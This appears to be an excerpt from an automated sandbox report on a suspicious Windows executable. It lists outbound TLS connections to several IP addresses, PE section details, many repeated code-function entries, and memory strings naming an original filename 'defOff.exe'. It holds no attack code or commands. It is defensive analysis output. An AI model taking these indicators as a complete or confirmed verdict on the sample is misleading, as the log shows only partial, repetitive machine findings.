Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.6:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:50091 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D138	0_3_0179D138
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0179D103	0_3_0179D103

Source: file.exe, 00000000.00000003.2464851244.000000000179B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449033761.000000000639D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2459154184.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447637472.0000000006373000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2464340538.0000000005EBF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447863470.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451935989.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444897158.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444642198.0000000005F09000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2453015660.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445587647.000000000636B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450626312.00000000063AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2459315221.0000000006408000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2453270379.00000000062BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445870867.000000000636B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2455785722.000000000650C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444991856.0000000006361000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447749210.000000000643E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445478611.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2455279415.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451553442.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2464476643.0000000005E32000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451681540.00000000063BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2452667630.00000000063C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444165203.0000000005F0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2460387271.0000000006410000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2458981449.0000000006541000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446849463.0000000006421000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2452813957.00000000064D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447071205.000000000637F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2457443613.000000000651E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2589686592.00000000062BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2457211045.00000000063E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447271977.00000000062B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446501726.0000000006367000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445958619.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2453552887.00000000063D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2443665435.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451299319.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2446153547.0000000006362000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451807471.00000000064CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2458046866.000000000652E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2457651553.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2449297492.0000000006395000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448355361.000000000645E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450397054.00000000064AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2452501080.00000000062B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445769678.00000000062BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2458233807.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2452340859.00000000063C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2464893433.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451156548.00000000064C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448821198.0000000006393000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2451424046.00000000063C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2458626638.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444497409.00000000062C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2447391456.000000000637E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2458408069.00000000063FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2450518627.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2445253608.0000000006411000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2448240014.0000000006384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444264603.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2444023379.00000000062B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
